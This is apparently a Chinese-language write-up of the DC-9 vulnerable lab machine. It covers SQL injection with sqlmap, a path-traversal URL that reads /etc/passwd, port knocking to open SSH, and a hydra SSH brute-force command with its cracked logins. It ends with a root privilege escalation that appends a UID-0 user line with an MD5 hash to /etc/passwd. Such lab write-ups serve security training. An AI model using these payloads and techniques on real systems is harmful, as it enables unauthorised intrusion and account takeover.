dc9靶场通关

一、扫描探测

靶机开放22和80端口

二、sql注入

在网站的search界面,发现存在注入点:

使用bp抓包,*标注注入点:

得到staff和users信息

爆库得到两个表的内容,其中staff中的密码是MD5值,sqlmap破解得到为transorbital1

登录管理界面后,发现出现一个文件不存在的提示:

尝试一下,发现有文件包含的问题,通过文件包含,可以知道常见的几个ssh用户名

http://192.168.136.202/welcome.php?file=../../../../../etc/passwd

三、关于knocked机制

knockd 主要的目的是希望可以动态的修改防火墙规则,他的运作流程是这样的:

  1. 服务器端的防火墙规则中先开放三个左右的端口口,这些端口口没有被其他程序激活,且可由 knockd 所侦测;
  2. 用户端若依照设置的顺序依序的连接到这三个端口口时, knockd 将进行动态防火墙规则的设置
  3. 防火墙规则被修改,且 knockd 持续进行侦测;
  4. 当用户端让 knockd 等候逾时,或者是用户端脱机后,刚刚步骤三的防火墙规则将会被移除

knock的配置文件在etc/knocked.conf中

依据序列敲门:

让防火墙开放ssh端口

四、hydra爆破

|----|------------|---------------|------------------|-----------|-----------|
| id | lastname | password | reg_date | username | firstname |
| 1 | Moe | 3kfs86sfd | 2019/12/29 16:58 | marym | Mary |
| 2 | Dooley | 468sfdfsd2 | 2019/12/29 16:58 | julied | Julie |
| 3 | Flintstone | 4sfd87sfd1 | 2019/12/29 16:58 | fredf | Fred |
| 4 | Rubble | RocksOff | 2019/12/29 16:58 | barneyr | Barney |
| 5 | Cat | TC&TheBoyz | 2019/12/29 16:58 | tomc | Tom |
| 6 | Mouse | B8m#48sd | 2019/12/29 16:58 | jerrym | Jerry |
| 7 | Flintstone | Pebbles | 2019/12/29 16:58 | wilmaf | Wilma |
| 8 | Rubble | BamBam01 | 2019/12/29 16:58 | bettyr | Betty |
| 9 | Bing | UrAG0D! | 2019/12/29 16:58 | chandlerb | Chandler |
| 10 | Tribbiani | Passw0rd | 2019/12/29 16:58 | joeyt | Joey |
| 11 | Green | yN72#dsd | 2019/12/29 16:58 | rachelg | Rachel |
| 12 | Geller | ILoveRachel | 2019/12/29 16:58 | rossg | Ross |
| 13 | Geller | 3248dsds7s | 2019/12/29 16:58 | monicag | Monica |
| 14 | Buffay | smellycats | 2019/12/29 16:58 | phoebeb | Phoebe |
| 15 | McScoots | YR3BVxxxw87 | 2019/12/29 16:58 | scoots | Scooter |
| 16 | Trump | Ilovepeepee | 2019/12/29 16:58 | janitor | Donald |
| 17 | Morrison | Hawaii-Five-0 | 2019/12/29 16:58 | janitor2 | Scott |

根据这个用户名和密码库,生成字典,直接爆破。

hydra -q -L users.txt -P passwords.txt ssh://192.168.1.202 -o valid_logins.txt

|---------------------------------------------------------------------------------------|
| [22][ssh] host: 192.168.136.202 misc: (null) login: chandlerb password: UrAG0D! |
| [22][ssh] host: 192.168.136.202 misc: (null) login: joeyt password: Passw0rd |
| [22][ssh] host: 192.168.136.202 misc: (null) login: janitor password: Ilovepeepee |

然后分别登录这3个用户,发现janitor/Passw0rd,这个用户有隐藏文件。

把这些密码加入之前的密码文件中,继续爆破,得到新用户和密码:

22\]\[ssh\] host: 192.168.1.148 login: fredf password: B4-Tru3-001 登录后发现,有一个文件有sudo权限,但是是root权限创建的不能修改。 ![](https://i-blog.csdnimg.cn/direct/589d03ecc1b643cc9a2b53c08bda3bf2.png) 发现对应的是一个python脚本,可以写入文件 ![](https://i-blog.csdnimg.cn/direct/dc1b8b30bff84a32bc806e07906a6797.png) ## 五、密码写入 **即使系统启用了 shadow(`/etc/passwd` 中是 `x`),如果你手动将某个用户的密码字段从 `x` 改为实际哈希(如 `$1$...`),大多数 Linux 系统仍然会优先使用 `/etc/passwd` 中的密码进行认证!** 换句话说:**`/etc/passwd` 中的密码字段如果不是 `x`,就会覆盖 `/etc/shadow` 的设置** **利用这个原理和上述脚本,可以写入一个新的root用户** ![](https://i-blog.csdnimg.cn/direct/e127f74a0a5d4d5f9fae3564c5cf61b6.png) /etc/passwd的格式为: username:encrypted_password:UID:GID:GECOS:home_dir:shell echo 'sb:$1$haha$T7nt1ThchynsrEviA0KLT0:0:0::/root:/bin/bash' 2.txt ![](https://i-blog.csdnimg.cn/direct/5d3f90d435b4482899a192be022eda17.png) ![](https://i-blog.csdnimg.cn/direct/e4a9e08009b840eba9db402b5767bdfa.png) 整个过程如下: ![](https://i-blog.csdnimg.cn/direct/cbc9e0bbe4b7445ead440e8ca31d7a40.png)

相关推荐
弹简特1 小时前
【JavaEE11-后端部分】SpringMVC06-综合案例2-从用户登录看前后端交互:接口文档与HTTP通信详解
java·spring boot·spring·http·java-ee·tomcat
大黄说说1 小时前
解锁 .NET 性能极限:深入解析 Span 与零拷贝内存艺术
java·数据结构·算法
zh_xuan1 小时前
kotlin 作用域函数run
开发语言·kotlin
知识即是力量ol1 小时前
深入理解 Snowflake 雪花算法:原理、本质、趋势递增问题与分布式顺序困境全解析
java·分布式·算法·雪花算法·snowflake·全局唯一id·分布式id生成器
君爱学习1 小时前
G1垃圾回收器启动时 CPU 飙升的原因分析
java
若光6721 小时前
springboot防抖 限流 幂等实现 AOP注解实现
java·spring boot·后端
LawrenceLan1 小时前
31.Flutter 零基础入门(三十一):Stack 与 Positioned —— 悬浮、角标与覆盖布局
开发语言·前端·flutter·dart
今天你TLE了吗1 小时前
JVM学习笔记:第五章——堆内存
java·jvm·笔记·后端·学习
未来之窗软件服务1 小时前
AI人工智能(十五)C# AI的智障行为http服务—东方仙盟练气期
开发语言·http·c#